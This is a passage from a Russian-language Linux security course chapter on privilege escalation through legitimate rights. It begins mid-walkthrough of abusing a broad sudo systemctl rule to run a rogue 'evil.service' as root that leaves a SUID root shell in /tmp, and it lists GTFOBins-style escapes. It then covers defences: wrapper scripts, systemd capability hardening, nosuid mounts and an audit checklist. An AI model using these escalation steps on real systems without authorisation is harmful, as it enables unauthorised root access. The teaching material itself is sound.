WantedBy=multi-user.target

Шаг 4. Запуск. sudo systemctl link /home/alice/.config/evil.service подключает юнит, sudo systemctl start evil.service выполняет ExecStart от root. После этого /tmp/rootshell — SUID-оболочка.

Шаг 5. Почему это работает. systemctl не «запускает команду», он просит systemd выполнить юнит, а systemd выполняет ExecStart с правами, указанными в юните (по умолчанию root). Правило sudoers разрешило systemctl целиком, а systemctl — это интерфейс к произвольному исполнению.

Шаг 6. Как надо было. Правило на обёртку с фиксированными аргументами:

# /usr/local/bin/restart-nginx
#!/bin/sh
exec /bin/systemctl restart nginx.service
alice ALL=(root) NOPASSWD: /usr/local/bin/restart-nginx

Обёртка не принимает аргументов, не умеет link и не позволяет выбрать юнит. Это и есть разница между «разрешить программу» и «разрешить операцию».

Capabilities в systemd-юнитах

Юнит может выдать службе возможности, не давая root:

[Service]
User=app
Group=app
AmbientCapabilities=CAP_NET_BIND_SERVICE
CapabilityBoundingSet=CAP_NET_BIND_SERVICE
NoNewPrivileges=yes
ProtectSystem=strict
PrivateTmp=yes

Читается так: служба работает от app, получает только CAP_NET_BIND_SERVICE (может слушать порт 80), не может получить другие возможности (CapabilityBoundingSet), не может повысить права через SUID (NoNewPrivileges), не может писать в систему (ProtectSystem=strict), получает приватный /tmp.

Проверить, что получилось:

systemctl show -p AmbientCapabilities -p CapabilityBoundingSet -p NoNewPrivileges app.service
AmbientCapabilities=cap_net_bind_service
CapabilityBoundingSet=cap_net_bind_service
NoNewPrivileges=yes

Тонкость: AmbientCapabilities работает, только если возможность есть в CapabilityBoundingSet; иначе systemd молча её отбросит. Вторая тонкость: NoNewPrivileges=yes отменяет SUID-бит для всех потомков службы — это то, что нужно почти всегда.

nosuid и точки монтирования

Бит SUID работает только на файловых системах, смонтированных без nosuid. Для системных каталогов это не проблема, для пользовательских — проблема: SUID-файл в /home или /tmp даёт эскалацию, даже если в системных каталогах всё чисто.

findmnt -no TARGET,OPTIONS /home /tmp /var/tmp 2>/dev/null
/home  rw,relatime
/tmp   rw,nosuid,nodev,relatime

Если у /home нет nosuid, его стоит добавить: nosuid,nodev на раздел с пользовательскими данными — стандартная практика. То же для съёмных носителей и сетевых монтирований.

Проверить, что бит не сработает:

mount | grep ' /home '
cp /bin/sh /home/alice/sh_test && chmod 4755 /home/alice/sh_test
/home/alice/sh_test -p -c 'id -u'

При nosuid команда вернёт 1000, без него — 0. Разница в одной опции монтирования.

Проверка своей машины: десять минут

# 1. SUID и SGID
find / -xdev \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null | wc -l
find / -xdev -perm -4000 -type f -newer /etc/hostname 2>/dev/null

# 2. Capabilities
getcap -r /usr 2>/dev/null | head -20

# 3. sudo
sudo -n -l 2>/dev/null

# 4. no_new_privs и bounding
grep -E 'NoNewPrivs|CapBnd' /proc/self/status

# 5. Точки монтирования
findmnt -no TARGET,OPTIONS /home /tmp 2>/dev/null

# 6. Версии привилегированных пакетов
sudo -V | head -1
pkexec --version 2>/dev/null | head -1

# 7. Юниты с AmbientCapabilities
grep -rl 'AmbientCapabilities' /etc/systemd/system /usr/lib/systemd/system 2>/dev/null | head

# 8. Контейнеры
docker ps --quiet 2>/dev/null | head -3

Восемь проверок дают полную картину «какие полномочия выданы». Дальше — решение по каждому пункту: нужно ли это, можно ли сузить, можно ли заменить.

Итоги темы

Легальные полномочия — самый частый путь к root, потому что они не требуют ошибки в коде: достаточно одной неаккуратной строки в sudoers или одного бита на интерпретаторе. Механика при этом простая: bprm_fill_uid при execve подставляет euid/fsuid владельца файла или вычисляет наборы capabilities из security.capability, а no_new_privs может всё это отменить.

SUID и capabilities — два способа выдать права, и второй точнее. cap_setuid на интерпретаторе равен root, cap_dac_read_search даёт чтение любого файла, cap_sys_admin — почти всё остальное. Проверять надо cap_effective, а не только uid: euid 0 без возможностей — не root, euid 1000 с cap_dac_override — почти root.

GTFOBins — не набор эксплойтов, а каталог штатных возможностей. find -exec, tar --checkpoint-action, vim :!, less !, интерпретаторы — всё это документированное поведение, и защита здесь только конфигурационная: снять бит, сузить sudoers, заменить SUID на capabilities, включить no_new_privs и nosuid.

Дальше — тема 04: что делать, когда легальных полномочий нет, а root нужен. Там начинается эксплуатация ошибок ядра, и первое, что понадобится, — умение определить версию, конфигурацию и включённые защиты.

Литература

  1. Kerrisk M. The Linux Programming Interface. — No Starch Press, 2010.
  2. Nemeth E., Snyder G., Hein T. R., Whaley B., Mackin D. UNIX and Linux System Administration Handbook. 5th ed. — Addison-Wesley, 2017.
  3. The Linux man-pages project. — https://man7.org/linux/man-pages/
  4. Aho A. V., Kernighan B. W., Weinberger P. J. The AWK Programming Language. 2nd ed. — Addison-Wesley, 2023.
  5. Free Software Foundation. GNU Bash Reference Manual. — https://www.gnu.org/software/bash/manual/
  6. Bovet D. P., Cesati M. Understanding the Linux Kernel. 3rd ed. — O'Reilly Media, 2005.
  7. Linux Kernel Documentation. — https://docs.kernel.org/
  8. MITRE ATT&CK: Linux techniques. — https://attack.mitre.org/